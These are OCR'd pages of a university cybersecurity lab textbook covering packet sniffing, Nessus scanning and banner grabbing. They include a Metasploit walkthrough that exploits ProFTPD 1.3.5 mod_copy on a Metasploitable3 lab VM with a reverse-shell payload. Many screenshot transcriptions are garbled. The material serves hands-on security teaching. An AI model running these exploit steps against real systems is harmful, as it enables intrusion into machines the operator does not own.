ip.addr==100.100.100.5 && http [X] -+
o. Time Source Destination Protocol Lengtt Info
8487 1528.647828 2@8@.200.200.7 166.166.160.5 HTTP 681 HTTP/1.1 28@ OK (application/javascript)
8494 1528.647666 200.200.200.7 166.166.160.5 HTTP 1828 HTTP/1.1 28@ OK (application/javascript)
8516 1528.662218 200.200.200.7 166.166.160.5 HTTP 1184 HTTP/1.1 288 0K (application/javascript)
8524 1528.667556 100.100.100.5 200.200.200.7 HTTP 658 GET /phpmyadmin/js/messages.php?lang=enddb=&collation_c
8558 1528.685589 100.100.100.5 200.200.200.7 HTTP 581 GET /phpmyadmin/js/get_image.js.php?theme=pmahomme HTTF
8576 1528.697153 200.200.200.7 166.166.160.5 HTTP 757 HTTP/1.1 28@ OK (text/javascript)
8681 1528.728823 200.200.200.7 166.166.160.5 HTTP 93 HTTP/1.1 28@ OK (application/javascript)
8618 1528.748982 200.200.200.7 166.166.160.5 HTTP 1388 HTTP/1.1 28@ OK (text/javascript)
2522 1578 755592 18R .18 1665 28R 208 260 .7 HITP 571 GET /nhnpyadmindneint css HITP/] 1

Figure 5 - Filtering on HTTP packets from the Kali VM

1.3. Now, we'll use an “OR” operation to show both FTP and HTTP traffic

ip.addr==100.100.100.5 && http

ftp

1.4. You can also see that the FTP login and passwords were passed in the clear
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md® RE ] &= &= R | i
A |ip.addr::100.100.100.5 & httpl|ftp
Me. Time Source Destination Protecol Length Info
7013 576.689143 280.200.200.7 100.100.180.5 FTP 139 Response: 228 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [208.208.200.7]
7@23 599.535714 106.100.180.5 200.200.200.7 FTP B8 Request:
7825 599.536566 208.200.200.7 160.168.188.5 FTP 112 Response: 588 Invalid command: try being more creative
7828 £BE6.936234 106.100.100.5 200.200.200.7 FTP 8@ Request: user vagrant
70829 6086.938811 288.200.280.7 100.100.100.5 FTP 1@1 Response: 331 Password required for wvagrant
7834 612.943828 168.1060.160.5 200.200.200.7 FTP 8@ Request: pass vagrant
7035 612.950083 200.200.200.7 100.100.100.5 FTP 94 Response: 230 User vagrant logged in
7842 655.191863 106.180.160.5 20808.200.200.7 FTP 72 Request: quit
7843 £55.193436 200.200.200.7 18@.19e.100.5 FTP 8@ Response: 221 Goodbye.
7851 657.794666 200.200.200.7 100.100.100.5 FTP 139 Response: 228 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [20@.200.280.7]
7859 663.887936 106.180.160.5 20808.200.200.7 FTP 8@ Request: user vagrant
7061 663.889354 280.200.200.7 100.100.180.5 FTP 101 Response: 331 Password required for wagrant
7863 669.600045 106.100.180.5 200.200.200.7 FTP 8@ Request: pass vagrant
7864 669.684949 208.200.200.7 160.168.188.5 FTP 94 Response: 23@ User vagrant logged in
7069 £80.120145 106.100.100.5 200.200.200.7 FTP 72 Request: quit
7878 630.121694 200.200.200.7 180.100.100.5 FTP 8@ Response: 221 Goodbye.
7899 384.813763 106.100.188.5 2008.200.200.7 HTTP 412 GET /login.php HTTP/1.1
71@1 384.815386 200.200.200.7 100.100.100.5 HTTP 567 HTTP/1.1 484 Not Found (text/html)
7183 884.9526508 106.180.160.5 2808.200.200.7 HTTP 365 GET /fawvicon.ico HTTP/1.1
7184 884.953543 200.200.200.7 18@.10e.100.5 HTTP 568 HTTP/1.1 484 Not Found (text/html)
7183 1120.122382 106.100.180.5 200.200.200.7 HTTP 403 GET / HTTP/1.1
7185 112@.125951 206.200.260.7 188.106.100.5 HTTP 814 HTTP/1.1 268 OK (text/html)
7187 1120.202710 1ee.1e0.188.5 20@.200.200.7 HTTP 36@ GET /icons/blank.gif HTTP/1.1
7188 1120.203108 200.200.280.7 100.100.100.5 HTTP 496 HTTP/1.1 200 OK (GIF3%a)

Figure 6 - Applying an HTTP or FTP filter to our target VM

1.5. Lastly, we'll use practice using a NOT operator to display all traffic not involving the Kali
VM

ip.addr!=100.100.100.5

made % E ] 1S =aqqan
M [ip.addri=100.100.100.5
Mo, Time Source Destination Protocol Lengtt Info

1 @.ee0800 208.200.200.7 2008.200.208.255 BROWSER 288 Host Announcement METASPLOITABLE3, Werkstation, Server, Print

2 1.802698 208.200.200.7 2008.200.208.255 NENS 92 Name query NB WORKGROUP<1d>

3 2.803496 208.200.200.7 2008.200.208.255 NENS 92 Name query NB WORKGROUP<1d>

4 3.084403 200.200.200.7 200.200.200.255 NENS 92 Name query NB WORKGROUP<ld>

5 15.817553 200.200.200.7 200.200.200.255 BROWSER 247 Browser Election Request

6 17.820379 200.200.200.7 200.200.200.255 BROWSER 247 Browser Election Request

7 19.823220 200.200.200.7 200.200.200.255 BROWSER 247 Browser Election Request

8 21.826200 200.200.200.7 200.200.200.255 BROWSER 247 Browser Election Request

9 23.831419 200.200.200.7 200.200.200.255 BROWSER 247 Browser Election Request

789 58.769544 200.200.200.1 255.255.255.255 MNDP 193 5678 » 5678 Len=151

’7 6892 118.773867 200.200.200.1 255.255.255.255 MNDP 193 5678 » 5678 Len=151
f 6895 121.4142880 206.200.200.7 150.150.150.254 DHCP 342 DHCP Request - Transaction ID @x4912efed
3 6896 121.4254280 156.158.150.254 266.200.200.7 DHCP 342 DHCP ACK - Transaction ID @x4912eféd
3 6981 138.7658580 266.200.200.5 156.156.156.254 DHCP 338 DHCP Request - Transaction ID @x6b56922a
3 6982 138.776338 156.158.150.254 266.200.200.5 DHCP 342 DHCP ACK - Transaction ID @x6b56922a
‘ 6988 178.77337@ 266.200.200.1 255.255.255.255 MNDP 193 5678 » 5678 Len=151
i 6913 235.584011 206 .200.200.6 156.156.156.254 DHCP 354 DHCP Request - Transaction ID @x572fa63d
3 6914 235.596981 156.158.150.254 266.200.200.6 DHCP 342 DHCP ACK - Transaction ID @x572fa63d

Figure 7 - All network traffic not used by our target machine

Phase lll - tcpdump

While Wireshark is the tool of choice for sniffing, a wide variety of command line sniffers exist too. Tcpdump is
the tool of choice in this category.




768 MATHEW J. HEATH VAN HORN, PHD

1. Switch to the Kali VM and open the terminal

2. To start tcpdump we need to know the different interfaces on our computer. Use the following
command and take note of the interface connected on the GNS3 network

> ip address show

<LOOPBACK,UP, LOWER_UP> mtu 65536 gdisc nogueue state UNKNOWN group def
ault glen 1008
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet /8 scope host lo
valid_1ft forever preferred_1ft forever
inets f128 scope host noprefixroute
valid_1ft forever preferred_1ft forever
<BROADCAST ,MULTICAST,UP, LOWER_UP> mtu 1580 gdisc fg_codel state UP g
roup default glen 1080
link/ether 08:08:27:28:57:08 brd ff:ff:ff:Ff:Ff:Fff
inet /24 brd scope global dynamic noprefixro
ute ethe
359s5ec preferred_1 15956
ineté /64 scope 1
r preferred t foreve

yA5eC

ink noprefixroute
-

Figure 8 - Results of ip a

3. We can see there are two interfaces: Local (o) and the ethernet (eth0). Use this information to
start a basic tcpdump session

> sudo tcpdump -n -i ethO

Switch Description

-i Specify the interface name we want to use.

-n Do not convert addresses to names.

4. While tcpdump is running, generate traffic by opening a second terminal and connecting to the ftp
server over telnet as we did in Phase |

5. Once traffic has been generated, return to the original terminal and use Ctr/+C to stop tcpdump



SNIFFING BASICS 769

student@kali: ~
File Actions Edit View Help File Actions Edit View Help

75 ARP, Request who-has 100.100.100.1 t 100.100.100.

ARP, Reply 100.100.100.1 is-at @ 8 1g@:01,

Flags [P.], se

6430 IP 1@
, options [nop,nop,

, options [nop,nop,
5 IP6 f

IP 100.100.100.1.

.641146 CDPvl, ttl: 12@s, Dev -ID 'MikroTik'

Figure 9 - Results of tcpdump

6. Similar to Wireshark, we can use filters with tcpdump. To filter to only port 80 during a capture use
the following command and then generate traffic again by using Firefox to visit the same URL as in
Phase |

> tcpdump -n -1 ethO0 port 80

7. Use Ctrl+C to end the capture

8. You can see the information is rather difficult to read at first, but after a minute you can see thatitis
very similar to the information we obtained from Wireshark
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E PO

student @kali: ~

Edit View Help

1 eth@ po
output supp: d, ... for full protocol decode
h@, linl EN1@MB ther , smapshot
IP 108.1 2 g win 32120, options [mss 146@,sack0K,TS wval 16

100.100.100.5.51240: Flags [S.], seq 10808095326, ack 421799537, win
le 7], lengtl
[.1, ack 1, win 251, optiens [nop,nop,TS
[P.], seq 1 ick 1, win 251, options [nop,nop,TS
[.1, ac , win . options [nop,nop,TS val 1929
[P.], seq 1:749, ack i1 options [nop,nop,TS wal 1
[.1, 749, win , options [nop,nop,
[P.1, y. ack 749, win 249, options [nop,nop,TS v
[P.], seq 749:1245, ack 7 /in 243, options [nop,nop,TS

[.], ack 1245, win 249, options [nop,nop,TS val 167

Figure 10 - Results of TCP dump filtered for HTTP traffic

9. One of the most important things to know is how to write a packet capture file with tcpdump. Use
the following command to write a capture to a file. Use either the telnet connection or the browser to
generate traffic

> tcpdump -n -i ethO -w ~/Documents/CaptureFile.txt

10. To view the saved file type cat ~/Documents/CaptureFile.txt. You can see the information is a little
better since it is formatted for easy reading

End of Lab

Deliverables

2 screenshots are needed to earn credit for this exercise:

+  Wireshark filtered on Metasploitable target machine showing only TCP and FTP

+  TCPdump capture of Metasploitable target machine showing HTTP traffic




SNIFFING BASICS 771

There is no homework for this chapter. It is a primer to expand student knowledge for use in other
assignments.

No Figures in this Chapter
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CHAPTER 45

Scanning and Enumeration - Vulnerability Scanning

MATHEW J. HEATH VAN HORN, PHD

This lab helps students become familiar with the Nessus vulnerability scanner and how it can be used to find
vulnerabilities to exploit on a network. Nessus by Tenable has been used in the industry for over 25 years. It is
updated weekly with new exploits by the Common Vulnerabilities and Exposures (CVE) database.

LEARNING OBJECTIVES

« Perform a vulnerability scan of a vulnerable target using Nessus
* Read and investigate ways to take advantage of detected vulnerabilities

+ Exploit a critical vulnerability using Metasploit

PREREQUISITES

+ Chapter 42 - Build the Baseline Environment

+ Chapter 44 - Sniffing Basics

DELIVERABLES

+ 4 Screenshots are required
o Nmap scan of the target network that identifies the target machine
o Results of a completed Nessus advanced scan of the target machine
> A Nessus report of the critical vulnerability

o Metasploitable report of the module that can be used against the vulnerability

RESOURCES

+ Tenable - Nessus Documentation - https://docs.tenable.com/Nessus.htm
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CONTRIBUTORS AND TESTERS

+ An idea proposed by Raechel Ferguson

« Dante Rocca, Cybersecurity Student, ERAU-Prescott

Phase | - Install Nessus

Nessus has continuous updates. If you skipped the Nessus installation from Chapter 12, you will need to do
this now. If you haven't updated Nessus recently, you must complete the following steps. These steps are based
on your prior knowledge from completing Section 1 of this book.

1. Open the virtual box manager and select the Kali VM

2. Click on settings, click on network, and make sure it is attached to NAT

{59 Ch 42 Kali - Settings - a X
E General Network
System Adapter 1 Adapter 2 Adapter 3 Adapter 4
IE Display B Enable Network Adapter
Attached to: NAT A
@ Storage
Mame:
{D:l Audio
% Advanced

ﬂ Metwork Adapter Type:  Intel PRO/1000 MT Desktop (32540EM) o
@ Serial Ports Promiscuous Mode: Deny
é} USR MAC Address: 030027285708 @

B cable Connected
Ij Shared Folders

Port Forwarding
Ifl User Interface

Figure 1 - Changing the network settings of the Kali VM

3. Press OK and start the Kali VM
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4. From the command line, start Nessus with the following command

5. Open the Nessus user interface by opening Firefox and going to this URL. It may say it is insecure
but click advanced and accept the risk to continue

https://kali:8834/

6. Click on About -> Software Update -> Manual Software Update

7. Click on Update all components then continue
om0 2

Kali Linux Nessus Essentials  Settin %
Q & hty
Kali Linux #& Kali Tools « KaliDocs 3 Kali Forums ex Kali NetHunter Exploit-DB Google Hacking DB OffSec

Jtenable nessus Essentials Settings

Manual Software Update

Automatic Updates
®) Update all components
Update plugins

Upload your ewn plugin archive

Tenable I

Update Frequency C Continue Cancel

Update Server

Figure 2 - Updating Nessus

8. Let the software update. This could take a while depending on the last time your Kali VM had access
to the Internet

9. Once the update has been completed, power off the Kali VM

10. Return back to the Oracle VM manager and on the Kali VM switch the network card back to the
generic adapter
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&) Ch 42 Kali - Settings - | ot
E General Network
System Adapter 1 Adapter 2 Adapter 3 Adapter 4
|§| Display B Enable Network Adapter
Attached to: |Generic Driver ~
Storage
Mame: UDPTunnel w
(D] Audio
" Advanced
|§| Metwark Adapter Type: Intel PRO/1000 MT Desktop (82540EM) w
@ Serial Ports Promiscuous Mode:  Deny
ﬁ U MAC Address: 0300272835708 @
Generic Properties:  g.ci_127.0.0.1
Ij Shared Folders dport=10008
sport=10007
Ifl User Interface

B cable Connected

oK Cancel Help

Figure 3 - Switching NIC back to generic driver

Phase Il - Running a Nessus Scan Against Metasploitable

Nessus is a popular vulnerability scanner that can detect vulnerabilities running on devices. This is useful for
defensive purposes to detect areas of weakness but can be used by attackers to find holes in the network.

1. Open GNS3 workspace and wait for the green lights

2. Start the following machines:

o 3. DHCP Server
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o 4, Router
o 5, KalivVM

o 6. Metasploitable3-Linux

MATHEW J. HEATH VAN HORN, PHD

7. Once all machines are running, find the IP address of the Metasploitable3-Linux box by running a
Nmap scan on the 200.200.200.0/24 network from the Kali VM. In this example, the target has an IP
address of 200.200.200.7

> sudo nmap -0 200.200.200.0/24

8. Once you have the IP, start Nessus with the following command

9. Open the interface by opening Firefox and going to this URL. It will say it is insecure but click

advanced and accept the risk to continue

https://kali:8834/

10. Login to Nessus

11. Click on New Scan
im0 2

Nessus Essentials [ Folde % ar
O & https://kali:
Kali Linux & KaliTools = KaliDocs 3 Kali Forums X Kali NetHunter

Exploit-DB

{tenable nessusEssentials  scans Settings

Figure 4 - New Scan

O 4 A ©1640 [ @& G

i

Google Hacking DB OffSec
student o

© New Scan

e a

Import New Folder
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12. Click on Advanced Scan

QO & https://kali:8
KaliLinux # KaliTools <« KaliDocs % KaliForums e\ Kali NetHunter Exploit-DB

if:)"-tenable Nessus Essentials Scans Settings

DISCOVERY

P

Host Discovery

VULNERABILITIES

A 3

Basic Network Scan

Advanced Scan

>

Mobile Device Scan Web Application Tests

Figure 5 - Create a new advanced scan

13. Complete the scan details

o 14. NAME - Meta3-Linux
o 15. DESCRIPTION - Scan of metasploitable3 linux VM
o 16. FOLDER - My Scans

. TARGETS - 200.200.200.7

Google Hacking DB OffSec

¥ @

5

Advanced Dynamic Scan Malware Scan
- B! A o

Credentialed Patch Audit Intel AMT Security Bypass
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Nessus Essentials /
O G httpsi//ka
Kali Linux #& KaliTools < KaliDocs ¥ Kali Ferums ¢\ Kali NetHunter Exploit-DB Google Hacking DB OffSec
(Jtenable NessusEssentials  Scans

Settings Credentials Plugins

Name
Description
tificat
DISCOVERY
ASSESSMENT Folder
REPORT

Targets
ADVANCED -

& o Bl & @ @ rightcr

Figure 6 - Configuring the scan details

18. Click on Save

19. Hit the play button on the right-hand side of the scan to start it. This will take a bit of time

Import New Folder © New Scan

Name Schedule Last Scanned ¥

On Demand B NA

Figure 7 - Start Nessus scan on our target
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Figure Zzzzzz

20. Once the scan begins, you can double-click on the scan and watch the progress

Hosts Vulnerabilities 11 Motes 1 History 1
Filter = Q, | 1Host
B Host Vulnerabilities v Scan Details

m 20020 -

Figure 8 - Nessus running a scan of our target

21. Once the scan reports on vulnerabilities, you can double-click on the progress bar and it will show
you a list of detected vulnerabilities
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Mets3-Linux

Vulnerabilities 15 History 1
Filter ~ Q | 15vulr

CVSS ¥ VPR ¥ MName a Family a Count v Scan Details

Apache HTTP...  Web Servers Policy: Advanced Scan
Status: Running

SMB (Multipl... Severity Base: CV55v3.0
Scanner: Local Scanner

HTTP (Multipl...  Web Servers Start: Today at 4:52 PM

SMB (Multipl... Windows Vulnerabilities

E Microsoft Wi... Windows ’ Critical
High

Medium

Low

MNessus SYN scann... Port scanners

Info
Service Detection Service detection

Figure 9 - Reported vulnerabilities

22. You can then double-click on any of the vulnerabilities and receive more information on the
vulnerability. In this figure, we clicked on one of the Mixed results to see more of the results

Configure

Mets3-Linux / SSH (Multiple Issues)

Vulnerabilities 30 Notes 4 History 1

CVSS ¥ WPRY Mame a Count v Scan Details

SSH Weak Algorith... Policy: Advanced Scan
Status: Running

S55H Server CBC M... . Severity Base: CVS5v3.0
Scanner: Local Scanner

SSH Weak Key Exc... . Start: Today at 4:52 PM

S Bl e Al Vulnerabilities
SSH Algorithms an... ; Critical
High
SSH SHA-1 HMAC . . o Ll
® low

Info

Figure 10 - Details of exploits

23. Then you can double-click on any exploit to get more detailed information as well
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Configure

Hosts 1 Vulnerabilities 30 Notes 4 History 1

SSH Weak Algorithms Supported Plugin Details

Description
Nessus has detected that the rem ver is ed to use the Arcfour stream ciphe

4253 advi

Solution

Contact the vendor or consult product

See Also

Output

The fol lient cryption algorithms are

Figure 11 - Even more details of the vulnerability

24. It took about 15 minutes for the scan to complete. Your results will vary. However, we can see that
several vulnerabilities were detected including some critical vulnerabilities that need immediate
attention
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Configure Audit Trail Launch = Report

ts3-Linux

I
Vulnerabilities 37 Remediations 1 Notes 4 History 1

Filter ~ Q, | 1Host

Vulnerabilities v Scan Details

Figure 12 - Nessus vulnerability scan completed

25. Let's investigate the critical vulnerability a bit further

Vulnerahilities 37
Filter = Q

Sev v Mam... Family a Count v

CRITICAL ! 7. o FTP

MIXED Bl DiCGI abuses

MIXED

Figure 13 - Critical Vulnerability
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Configure Audit Trail Launch ~ Report Export ¥

Vulnerabilities 37

cemcat  ProFTPD mod_copy Information Disclosure >  Plugin Details

Description

Solution

Upgrade to ProFTPD 1 / rcl or later.

See Also

e from sending

Figure 14 - FTP vulnerability details

Phase Ill - Making Use of the Information

Finding vulnerabilities is only part of the process. There are many ways to exploit vulnerabilities, which we will
share in the following chapters, but for now, we don’t want to leave you hanging. So we introduce an easy way to
exploit this vulnerability so that you can close the loop on the process.

The Metasploit Framework is a tool for developing and expecting exploit code against targets. It also includes
anti-forensic and evasion tools. Itis preinstalled in Kali and we can leverage it quickly against our target machine.
Metasploitable3 was developed to practice Metasploit attacks.

NOTE: Phase Il was written separately from Phases | and Il. The target machine’s IP address changed from
200.200.200.7 to 200.200.200.8 due to DHCP.

1. The exploit report included this in the description. We are going to use this information to our
advantage
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Exploitable With

Metasploit (ProFTPD 1.3.5 Mod_Copy Command
Execution)

CANVAS ()

Figure 15 - Nessus tells us how Metasploit can take
advantage of the vulnerability

2. Open a terminal and run an Nmap scan directly on our target machine and use the -sS (TCP Syn) -sV
(port probe) flags to identify the FTP service port

> sudo nmap -sS -sV 200.200.200.8

3. We can see that port 21 matches the exploit identified by Nessus in Figure 14 above and has been
known to be successfully attacked by Metasploit in the past in Figure 15 above
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E 42v3-Kali (Fresh Install) [Running] - Oracle VM VirtualBox

| File Machine View Input Devices Help

S mmEP O]

student@kali: ~

File Actions Edit View Help

1 password for

[sudo

rti Nmap 7.945 ( ) 4-@5-17 14:57 MST

Host is up (@.0@
Mot shown: 991 filt d tcp ports (no-response)
STATF __SFRVICE S TN
open ftp ProFTPD 1.3.5
Upen S50 Upenssn u.0.1pl Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.8)
open http Apache httpd
open netbios-ssn Samba smbd ! (workgr : WORKGROUP)
open ipp CupPs 1.7
closed ppp
open mysgl
open http
closed inte
Service Info: Hosts: 127.0.0.1, METASPLOITABLE3-UB14@4; 0Ss: Unix, Linux; CPE: cpe:/o:Llinux:linu:

Service detection performed. Please incor at https://nmap.org/submit/
Mmap done: 1 IP address (1 hos [

Figure 16 - Nmap port 21 matches Nessus scan

4. Open Metasploit at the command line prompt

5. Now search for the FTP exploit by typing

> search ProFTPD

6. You can see that we get six results, but only one of them is for our version
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D iption

xploit/linux/misc/ T anager t 5 arage NetSupport
loit/linux/ftp/pr L A ProFTPD 1.
loit/f bsd/ftp. L ] ProfTPD 1. 1. Telnet I
ProFTER 1. 3 " Telnet TAC Buffer Overflow (Linu
ProFTPD 1. e mmand Ex ion

FIOEIFY- L. C ] COlmanG EXecuCion

& @ O EE R rihton

Figure 17 - Search for instances of ProFTPD exploit

7. Now follow the directions on the screen and type

> info 4

8. We can see that using this exploit allows us to copy any file to the target machine’s website among
other things

O 4 A © 1505 | @& &
student@kali: ~

Help

ic options
Name r ing Requ

o o

o

RPORT_FTP
SITEPATH

o
[

o

o

/
TMPPATH /tmp

ription:
This modul i / mod_copy commands in ProFTPD
Any unauth 1 . Fil

View the full module info command.

ms i [ ]

Figure 18 - Details about the usable exploit

9. This looks good to us, so type



VULNERABILITY SCANNING 787

> use 4

10. We haven't set our payload yet, so it will assign a default one and remind us of it at the command
prompt

msf6 > use &4
Mo payload configured, defaulting to cmd/unix/reverse_netca

msfé exploit( ) > |}

Figure 19 - Our default payload is being assigned

11. We can view our settings for our custom attack on the target by typing

> show options

12. We are still missing some information in our current settings
msf6 exploit(

Module options (exploit/funix/ftp/proftpd_modcop

Name Current Se g Reguired Descri

port[,type:host:port][ ... ]
docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

Absolu
HTTP

LHOST 1
LPORT 444
Exploit target:

Id Name

(2] ProFTPD

View the full module info with the o -d command.

& BEEE#rhtc

Figure 20 - Checking our settings and spotting some missing information

13. Let us set our target as the remote host by typing

> set rhosts 200.200.200.8
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14. The sitepath is from a previous version, so update this by typing

set sitepath /var/www/html

15. Doublecheck the changes took effect and type

> show options

- |
student@lkali: ~
File Actions Edit View Help

)} > show options
loit/unix/ftp/proftpd_modcop

Cu

HOST el L ient address

PORT e 1 L client port

I in of form ] ort[,type:host:port][ ... ]

RHO g c The target host(s), se t 5 ocs.metaspleit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT g HTTP port (TCP)

RPORT_FTP /

SITEPATH It L | I ebsite path

< r outgoing connectiens
TARGETURI / :

TMPPATH /tmp

VHOST

oad options (cmd/unix/reverse_ne

Name Current Setting Required Description

LHOST 1@9.100.1

LPORT

Exploit targ

Id MName

(4] ProfFTPD 1.

g

o 2 = & @ Right el

Figure 21 - Checking the changes took place

16. We can now set the payload. See the various payload options by typing
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exploit(

se TCP (
AWK)

_P! -
_python
_python_ssl

B o Bl 6 @ -Rontcr

Figure 22 - Showing and setting the payload

17. Sometimes you have to try different payloads to see which are effective, but reverse_perl works for
us

copy commands
3.php

09 -0700

Figure 23 - executing the exploit on our target

20. We can now run commands as if we were using our target machine

> ip add

21. We see that we are in the target machine
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A
to FTP server
0 commands to FTP server

09 -0700
nogueue state UNKNOWN group def,

00:0

qdisc pfifo_fas a group default qlen 1000
s

global eth@

cope 1
rred_1ft forev
T,UP, LOWE! t qdisc nogueue state UP group default

al dockere

scope link
- .

Figure 24 - command “ip add” shows that we are ‘in’

22. We can also view our directory and list the files in that directory

> pwd

uBE7p.php
|

Figure 25 - Viewing our directory and files

23. Go ahead and poke about the system and see what else you can discover

End of Lab

Deliverables

4 Screenshots are required

. Nmap scan of the target network that identifies the target machine

. Results of a completed Nessus advanced scan of the target machine
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* A Nessus report of the critical vulnerability

. Metasploitable report of the module that can be used against the vulnerability

Assignment 1 - Advanced scan with creds

The previous crew discovered the username and password of the target machine. Use the Nessus
documentation to conduct an advanced scan using the SSH credentials: USERNAME: vagrant PASSWORD: vagrant.
Identify any previously unknown critical vulnerabilities, produce the Nessus details on the vulnerability, and select
a possible Metasploit package that could be used for each new vulnerability.

RECOMMENDED GRADING CRITERIA:

. Screenshot of the Nessus Vulnerability Report
«  Screenshot of the Nessus details for each previously unknown critical vulnerability

+  Screenshot of one possible Metasploit module that could be used against each critical vulnerability

Assignment 2 - Advanced scan, with creds, against Windows

Start the Metasploitable3-Windows VM. Use the same credentials from assignment 1 to run an advanced
scan against the Meta3-Windows VM to identify all critical vulnerabilities that are unique to Windows machines.
Produce the Nessus details on each vulnerability and select a possible Metasploit package that could be used for
each vulnerability

RECOMMENDED GRADING CRITERIA:

+  Screenshot of the Nessus Vulnerability Report
. Screenshot of the Nessus details for each Windows-based critical vulnerability

. Screenshot of one possible Metasploit module that could be used against each critical vulnerability

Figures for Printed Version
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CHAPTER 46

Scanning and Enumeration - Banner Grabbing

DANTE ROCCA; MATHEW J. HEATH VAN HORN, PHD; AND JACOB CHRISTENSEN

Banner grabbing is a technique to view services running on a network or device. This is an important tactic for
hackers as it narrows the potential ways into the network and may even reveal vulnerable services that can be
exploited.

Think of banner-grabbing as blindly knocking on doors in a neighborhood. Any response, including, no
response, provides us with information. A knock on one door might be greeted with a dog barking, a man
shouting at us to ‘go away’, or we might get lucky and someone will open the door and invite us in for tea and
biscuits.

Estimated time for completion: 30 minutes

LEARNING OBJECTIVES

+ Learn the value of banner grabbing by performing this act on a target machine in various ways
o Telnet
> netcat
> cURL
> Nmap

PREREQUISITES

+ Chapter 42 - Creating the Baseline Environment

+ Chapter 43 - Nmap Basics

DELIVERABLES

+ 4 screenshots are needed to earn credit for this exercise:
o Banner grab on port 21 using Telnet
o Banner grab on port 21 using netcat
o HTTP header grab on port 80 using cURL

o Banner grab of all ports using Nmap

792
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RESOURCES

+ Kennedy Muthii - “6 Banner Grabbing Tools with Examples” - https://www.golinuxcloud.com/banner-

grabbing/
+ Steven Vona - “Banner Grabbing - Penetration Testing Basics” - https://www.putorius.net/banner-

grabbing.html

+ DRD_-"Use Banner Grabbing to Aid in Reconnaissance & See What Services Are Running on a System” —

https://null-byte.wonderhowto.com/how-to/use-banner-grabbing-aid-reconnaissance-see-what-services-

are-running-system-0203486/

CONTRIBUTORS AND TESTERS

+ Bernard Correa, Cybersecurity Student, ERAU-Prescott

Phase | - Scanning with Telnet

The first tool we'll look at is Telnet. Telnet (teletype network) is an application layer protocol for 8-bit
bidirectional communications using a client-host configuration. Telnet was not an official protocol until 1973. We
will use Telnet to ‘knock’ on a remote target and record the responses. It is recommended to open a text editor of
your choice; you will collect a lot of information and need a place to document it.

However, before we can grab any banners, we first need to find our target.

1. Using Eagle Net, start the following machines:
1.1. DHCP Server
1.2. Router
1.3. KalivM
1.4. Metasploitable3-Linux
2. From Kali, scan the Metasploitable3-Linux VM for potential points of entry

2.1. Host Discovery - perform a Ping Scan (-sn) to find the target’s IP address (e.g.
200.200.200.6 as shown below)

> nmap -sn 200.200.200.0/24



https://www.golinuxcloud.com/banner-grabbing/
https://www.golinuxcloud.com/banner-grabbing/
https://www.putorius.net/banner-grabbing.html
https://www.putorius.net/banner-grabbing.html
https://null-byte.wonderhowto.com/how-to/use-banner-grabbing-aid-reconnaissance-see-what-services-are-running-system-0203486/
https://null-byte.wonderhowto.com/how-to/use-banner-grabbing-aid-reconnaissance-see-what-services-are-running-system-0203486/
https://null-byte.wonderhowto.com/how-to/use-banner-grabbing-aid-reconnaissance-see-what-services-are-running-system-0203486/
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rect@KaliLinuxCLIl-1: /

NMap —=n
rting M
: dizabled,

Figure 1 - Ping sweep on target network

2.2. Port Discovery - perform a port scan on Fast Mode (-F) to see what services the target is
running

> nmap -F 200.200.200.6

rect@KaliLinuxCLIl-1: /

Hmap done: 1 IP addr i1 host up) scanned in 1,1

!

Figure 2 - List of open ports on target machine

3. Once you have a list of the open ports on the target, we can start knocking on those doors and grab
the banners of those services
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3.1. Start a new telnet session

> telnet

3.2. Connect to the target over port 21 to view their FTP server banner

Figure 3 - Target's FTP banner

From this output, we now know two important pieces of information: our target using
ProFTPD to host this service and it is running version 1.3.5. Lets do some quick research
on this. On your host machine, open any browser and search for “nvd cve proftpd 1.3.5
vulnerabilities”:

nvd cve "proftpd” "1

= "proftpd” "1.3.5" v

€ = ht uckduckgo.com/

® nvd cve "proftpd" "1.3.5" vulnerabilities
Images D videos El News @ Maps & Shopping D Chat % Settings

-

All reg : : Any time

vuln » deta E-2015-3306

ulner.
in ProFTPD 1.3.5 a

Figure 4 - Vulnerability research

We got a hit! It appears that ProFTPD version 1.3.5 may be vulnerable to CVE-2015-3306,
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which allows for remote file modification attacks. We could look into this further to learn how
to exploit this (or find other CVEs), but for now this is good enough. Keep in mind that NIST's
national vulnerability database (NVD) is a great resource for looking up known exploits in
services and applications.

3.3. Press Ctrl+] and type quit to exit telnet

4. Repeat this process with the other open ports you find. If you want to go over and beyond, try to
find at least one CVE for each one!

21 ftp ProFTPD 1.3.5 Server (ProFTP Default Installation) CVE-2015-3306

22 ssh SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2Ubuntu2.13 CVE-2016-6515

Date: Fri, 31 May 2024 15:20:25 GMT
Server: Apache/2.4.7 (Ubuntu)

80 http* Connection: close CVE-2022-22720
Content-Type: text/html;charset=UTF-8

445 microsoft-ds Connects - no info Not enough information

631 ipp Connects - no info Not enough information

3306 mysq|l Connection refused Not enough information

Date: Fri, 31 May 2024 15:38:13 GMT
Cache-Control: must-revalidate,no-cache,no-store
8080 http-proxy* Content-Type: text/html;charset=1SO-8859-1 CVE-2017-7657
Content-Length: 1267

Server: Jetty(8.1.7.v20120910)

NOTE: If you struggled with ports 80 and 8080, this is because the server is waiting for you (the client)
to request the data that you want to see. Luckily, this is easy to do! After connecting to either port, type
the following command to request the website’s header information:

HEAD / HTTP/1.0

If done correctly (you may have to press Enter a couple of times), you should successfully retrieve the
banner. This same technique can be repeated on port 8080 as well.
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root@KaliLinuxCLI-1: f

GHMT

=IITF-3
Connection closed by foreign host,

£

Figure 5 - Target’s HTTP header information

5. Banner grabbing is an iterative process that results in many dead ends. You will switch between
Nmap and the various Banner Grabbing tools quite often. Our initial scan only covered 100 of the most
commonly used TCP ports. If you are having difficulties getting into a system, use various Nmap options
to find more points of entry. Some examples include:

o UDP, TCP Null, FIN, and Xmas scans
o |dle and bounce scans

o Scan all ports

Phase Il - Banner Grabbing with Netcat

Netcat (nc) is another tool used for banner grabbing in a similar vein to telnet. It has not been supported since
1996, but it is still very useful. Many derivatives of netcat exist, but most people still use the original netcat.

1. To use netcat to grab the target's FTP banner over port 21

> nc 200.200.200.6 21

2. Like telnet, the resulting output should display the FTP service and version number
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3. Exit netcat using Ctrl+C

4. For more practice with netcat, you should repeat the banner grabbing exercise in Phase |

Are your results the same? Which command do you prefer?

Phase Ill - Banner Grabbing with cURL

CURL (client URL) uses URL syntax to transfer data using various network protocols.

